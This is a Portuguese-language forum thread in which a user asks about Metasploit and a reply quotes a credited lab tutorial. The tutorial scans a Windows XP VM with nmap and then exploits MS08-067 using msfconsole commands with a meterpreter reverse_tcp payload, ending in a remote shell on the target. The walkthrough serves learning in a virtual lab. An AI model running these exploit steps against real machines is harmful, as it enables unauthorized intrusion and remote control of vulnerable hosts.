segurança MetaSploit?

[Loser~~ 0]

 

 

Olá pessoal, estou aqui para exclarecer uma dúvida , bom gostaria de como um metasploit funciona, onde posso baixa lo(para windows), existem componentes ou algo semelhante para o funcionamento do mesmo?

 

É isso ai espero que me ajudem :D

[Adaba噸 18]

Como funciona:

 

 

Neste caso são 2 máquinas virtuais (VMs) criadas usando o Virtualbox. As placas de rede de ambas VMs estão configuradas como bridge.

• 1ª VM = Sistema Operacional Backtrack 4 Final com endereço IP 192.168.0.170.

• 2ª VM = Sistema Operacional Windows XP SP2 com endereço IP 192.168.0.186.

 

Quer saber mais sobre Virtualbox? Digite "virtualbox" no campo de pesquisa aqui do VOL que encontrará ótimos artigos/dicas sobre o mesmo.

 

Scanning com Nmap e Metasploit

 

Ok pessoal, vamos utilizar a ferramenta "nmap" para fazer o scanning em nossa rede interna.

 

Abra um terminal no micro com o Backtrack e digite o seguinte comando:

 

# nmap -v --script=smb-check-vulns 192.168.0.0/24

 

•-v = Modo Verbose

•--script=smb-check-vulns = Script para verificar vulnerabilidades conhecidas, como por exemplo, MS08-067, Conficker, regsvc DoS e SMBv2 exploit.

•192.168.0.0/24 = Range de IP utilizado em minha rede local.

 

 

Se reparar, no host com endereço IP 192.168.0.186, verá que são mostradas as portas que estão abertas, e em MS08-067 está como VULNERABLE, tendo essa "simples" base, vamos atacá-lo.

 

 

Obtemos nosso console do msf. Dei uma personalizada na saída. :-)

 

Feito isto, vamos efetuar a intrusão na máquina. Os comandos são os seguintes:

 

use exploit/windows/smb/ms08_067_netapi #Aqui falamos que queremos usar o exploit ms08_067_netapi

set RHOST 192.168.0.186 #Aqui setamos o nosso host remoto, que no caso é o endereço IP da VM com Windows XP SP2

set PAYLOAD windows/meterpreter/reverse_tcp #Aqui especificamos o payload que iremos utilizar, reverse_tcp, ele é o responsável por criar a nossa comunicação entre LHOST e RHOST.

set LHOST 192.168.0.170 #Aqui setamos nosso host local, que no caso é o endereço IP da VM com Backtrack 4.

exploit #E finalmente executamos nosso exploit.

 

Observem a imagem abaixo.

 

 

Pronto! Ganhamos nossa shell meterpreter, ou seja, já estamos na máquina alvo. Experimente dar os comandos sysinfo e ipconfig.

 

 

Créditos: Roberto Espreto

 

[DOWN]

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

[/DOWN]

[Loser~~ 0]

Vlw Adaba , irei efetuar o download e estudar o mesmo , pode fechar!